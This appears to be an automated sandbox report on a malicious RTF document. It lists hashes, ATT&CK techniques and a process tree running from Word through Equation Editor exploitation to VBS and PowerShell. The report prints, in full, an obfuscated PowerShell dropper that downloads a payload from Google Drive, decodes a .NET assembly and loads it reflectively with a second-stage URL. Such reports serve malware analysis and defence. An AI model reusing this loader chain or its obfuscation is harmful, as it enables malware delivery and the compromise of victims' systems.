e164bb4a190f79c58b836441a8f59bf3ead186f359fbac64b0e86e7e058c0efe

General

Target

seebestthingswithreadyforgoodthingstogetmebackwithnice________________verynicepeopleswithoofdthingsw.rtf
Size

111KB
MD5

b2daf885c5199ed93bfdafe0f3a33ae6
SHA1

3d2dba1d76e2bfcae449113de1597d0c725b3421
SHA256

e164bb4a190f79c58b836441a8f59bf3ead186f359fbac64b0e86e7e058c0efe
SHA512

662cf497918cabc230d8f857826cf6ed67b58288bd1dd8f61c617fe41b0a9034acc957716aa6f4e860d5546652d158be9b0aaec231034a8dad5a533dcb8381e2
SSDEEP

384:GSXY16lFxTu95qsyeYJZw9IHJkJhvO6CC9GBRKdEQj3Mh/xyc11wtSuQO7HBLOWk:hXc/XBoGGBgnj3Mh/71wtSuQULOWk

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	1668	EQNEDT32.EXE
6	2836	powershell.exe
8	2836	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.exe
2836	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
6	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
1668	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2304	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2800	powershell.exe
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2304	WINWORD.EXE
2304	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 2772	1668	EQNEDT32.EXE	30
PID 1668 wrote to memory of 2772	1668	EQNEDT32.EXE	30
PID 1668 wrote to memory of 2772	1668	EQNEDT32.EXE	30
PID 1668 wrote to memory of 2772	1668	EQNEDT32.EXE	30
PID 2772 wrote to memory of 2800	2772	WScript.exe	32
PID 2772 wrote to memory of 2800	2772	WScript.exe	32
PID 2772 wrote to memory of 2800	2772	WScript.exe	32
PID 2772 wrote to memory of 2800	2772	WScript.exe	32
PID 2800 wrote to memory of 2836	2800	powershell.exe	34
PID 2800 wrote to memory of 2836	2800	powershell.exe	34
PID 2800 wrote to memory of 2836	2800	powershell.exe	34
PID 2800 wrote to memory of 2836	2800	powershell.exe	34
PID 2304 wrote to memory of 2256	2304	WINWORD.EXE	35
PID 2304 wrote to memory of 2256	2304	WINWORD.EXE	35
PID 2304 wrote to memory of 2256	2304	WINWORD.EXE	35
PID 2304 wrote to memory of 2256	2304	WINWORD.EXE	35

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\seebestthingswithreadyforgoodthingstogetmebackwithnice________________verynicepeopleswithoofdthingsw.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2256

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicecreamburnwithgreattasteoffinegiftformygirls.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTaGVMTGlEWzFdKyRzSGVsTElkWzEzXSsnWCcpICggKCgnTlJhaW1hZ2VVcmwgPSBpc0dodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZScrJ3hwJysnb3J0PWQnKydvd24nKydsb2FkJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciBpc0c7TlJhd2ViQ2wnKydpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkMnKydsaWVudDtOUmFpbWFnZUJ5dGVzID0gTlJhdycrJ2ViQ2xpZW50LkRvd25sb2FkRGF0YShOUmFpbWEnKydnZVVybCk7TlJhaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoTlJhaW1hZ2VCeScrJ3Rlcyk7TlJhcycrJ3RhcnRGbGFnID0gaXNHPDxCQVNFJysnNjRfU1RBUlQ+PmlzRztOUmFlbmRGbGEnKydnID0gaXNHPDxCQVNFNjRfRU5EPj5pc0c7TlJhc3RhcnRJbmRleCA9IE5SYWltYWdlVCcrJ2V4dC5JbmRleE9mKE5SYXN0YXJ0RmxhZyk7TlJhZW5kSW5kZXggPSBOUmFpbWFnZVRleHQuSW5kZXhPZihOUmFlbmRGbGEnKydnKTtOUmFzdGFydEluZGV4IC1nZSAwIC1hbmQgTlJhZW5kSW5kZXggLWd0IE4nKydSYXN0YXJ0SW5kZXg7TlJhc3RhcnRJbmRleCArJysnPSBOUmFzdGFydEZsYWcuTGVuZycrJ3RoO05SYWJhc2U2NExlbmd0aCA9IE5SYWVuZEluZGV4IC0gTicrJ1Jhc3RhcnRJbmRleDtOUmFiYXNlNjRDb21tYW5kICcrJz0gTlJhaW1hZ2VUZXh0LlN1YnN0cmluZyhOJysnUmFzdGFydEluZGV4LCBOUmEnKydiYXNlNjRMZW5ndGgpO05SYWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKE5SYWInKydhc2U2NENvJysnbW1hbmQuVG9DaGFyQXJyYXkoKSBGN0kgRm9yRWFjaC1PYmplY3QgeyBOUmFfIH0pWy0xLi4tKE5SYWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07TlJhY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XScrJzo6RnJvbUJhc2U2NFN0cmluZyhOUmFiYXNlNjRSZXZlcnNlZCk7TlJhbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKE5SYWNvbW1hbmRCeXRlcyk7TlJhdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChpc0dWQUlpc0cpJysnO05SYXZhaScrJ01ldGhvZC5JbnZva2UoTlJhbicrJ3VsbCwgQChpc0d0eHQuJysnR0ZSRkZSRS82Ny8yMi4wNzEuOTgxLjgxLy8nKyc6cHR0aGlzRywgaXNHZGVzYXRpdmFkJysnb2lzRywgaXNHZGVzYXRpdmFkb2lzRywgJysnaXNHZGVzYXRpdmFkb2lzRywgaXNHQ2FzUG9saXNHLCBpc0dkZXNhdGl2YWRvaXNHLCBpc0dkZXNhdCcrJ2l2YWRvaXNHLGlzR2Rlc2F0aXZhZG9pc0cnKycsaXNHZGVzYXRpdmFkb2knKydzRyxpc0dkZXNhdGl2YWRvaXNHLGlzR2Rlc2F0aXZhZG9pc0csaXNHZGVzYXRpdmFkb2lzRyxpc0cxJysnaXNHJysnLCcrJ2lzR2Rlc2F0aXZhZG9pc0cpKTsnKSAgLUNyRXBsYUNFICAnTlJhJyxbQ0hhcl0zNi1yZVBsYUNFIChbQ0hhcl0xMDUrW0NIYXJdMTE1K1tDSGFyXTcxKSxbQ0hhcl0zOSAtcmVQbGFDRSAnRjdJJyxbQ0hhcl0xMjQpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SheLLiD[1]+$sHelLId[13]+'X') ( (('NRaimageUrl = isGhttps://drive.google.com/uc?e'+'xp'+'ort=d'+'own'+'load&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur isG;NRawebCl'+'ient = New-Object System.Net.WebC'+'lient;NRaimageBytes = NRaw'+'ebClient.DownloadData(NRaima'+'geUrl);NRaimageText = [System.Text.Encoding]::UTF8.GetString(NRaimageBy'+'tes);NRas'+'tartFlag = isG<<BASE'+'64_START>>isG;NRaendFla'+'g = isG<<BASE64_END>>isG;NRastartIndex = NRaimageT'+'ext.IndexOf(NRastartFlag);NRaendIndex = NRaimageText.IndexOf(NRaendFla'+'g);NRastartIndex -ge 0 -and NRaendIndex -gt N'+'RastartIndex;NRastartIndex +'+'= NRastartFlag.Leng'+'th;NRabase64Length = NRaendIndex - N'+'RastartIndex;NRabase64Command '+'= NRaimageText.Substring(N'+'RastartIndex, NRa'+'base64Length);NRabase64Reversed = -join (NRab'+'ase64Co'+'mmand.ToCharArray() F7I ForEach-Object { NRa_ })[-1..-(NRabase64Command.Length)];NRacommandBytes = [System.Convert]'+'::FromBase64String(NRabase64Reversed);NRaloadedAssembly = [System.Reflection.Assembly]::Load(NRacommandBytes);NRavaiMethod = [dnlib.IO'+'.Home].GetMethod(isGVAIisG)'+';NRavai'+'Method.Invoke(NRan'+'ull, @(isGtxt.'+'GFRFFRE/67/22.071.981.81//'+':ptthisG, isGdesativad'+'oisG, isGdesativadoisG, '+'isGdesativadoisG, isGCasPolisG, isGdesativadoisG, isGdesat'+'ivadoisG,isGdesativadoisG'+',isGdesativadoi'+'sG,isGdesativadoisG,isGdesativadoisG,isGdesativadoisG,isG1'+'isG'+','+'isGdesativadoisG));') -CrEplaCE 'NRa',[CHar]36-rePlaCE ([CHar]105+[CHar]115+[CHar]71),[CHar]39 -rePlaCE 'F7I',[CHar]124))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1cd926de44be7a9618949c4c2cf8f8dc

SHA1
c325d15f085e54fddaa7cfd99f197b9d4d9129a1

SHA256
7b9a8058ad019d2147c917cef958d0ba1ba4c27a29b3d6abddcb125139df4eb2

SHA512
81b94b6ff04a689ac7ee970f04097f11539563acd220b6b919e67bade59c65884fa95bd535a3afa58efdc96b7083787da54885e746a273dec8f28f437a7bcceb

Download Submit
C:\Users\Admin\AppData\Roaming\nicecreamburnwithgreattasteoffinegiftformygirls.vbs

Filesize
136KB

MD5
3121047f2ec5d9702cce617a00d18a44

SHA1
33c1768ae204d9c2415091562e540924c10983fb

SHA256
8c56ecfb757303c59a2c6e41d5e1604c5237858289e9bb0714a92003e21b2e1c

SHA512
cacc597abfba36b26a1cf3d23749ccf477387d346ca1d14df8bce0c4ebe26d1881d66d413edf051308be1c749b9984ccc027a086104354cc97ad585d39243404

Download Submit
memory/2304-0-0x000000002FDF1000-0x000000002FDF2000-memory.dmp

Filesize
4KB

Download
memory/2304-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2304-2-0x000000007104D000-0x0000000071058000-memory.dmp

Filesize
44KB

Download
memory/2304-23-0x000000007104D000-0x0000000071058000-memory.dmp

Filesize
44KB

Download

Analysis

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